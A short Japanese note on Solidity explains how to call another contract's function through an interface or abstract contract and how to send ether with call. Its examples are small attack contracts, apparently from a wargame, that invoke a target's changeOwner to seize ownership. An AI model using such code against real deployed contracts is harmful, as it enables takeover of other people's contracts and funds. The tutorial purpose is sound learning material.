特定のコントラクトのfunctionを叩く
Interfaceで実行したいコントラクトを定義して叩く方式
Interfaceで定義せずにabstractでも定義は可能
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
address target = target contract address;
function attack() external {
Telephone(target).changeOwner(msg.sender);
}
}
Abstractで定義する場合はこんな感じ
abstract contract Telephone {
function changeOwner(address _owner) public virtual;
}
特定のコントラクトへ送金する
payableなアドレスに対してcallで送金を行う
Clientからコントラクトに対して実行するときは引数の後にoptionを指定するが、Solidityからコントラクトを実行する時は先にvalueなどを指定する。
この例では引数は無いため ("")
となっているが引数がある場合はこのカッコ内で指定する
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Attacker {
function attack (address payable target) external payable {
(bool res,) = target.call{value: msg.value}("");
require(res, "failed");
}
}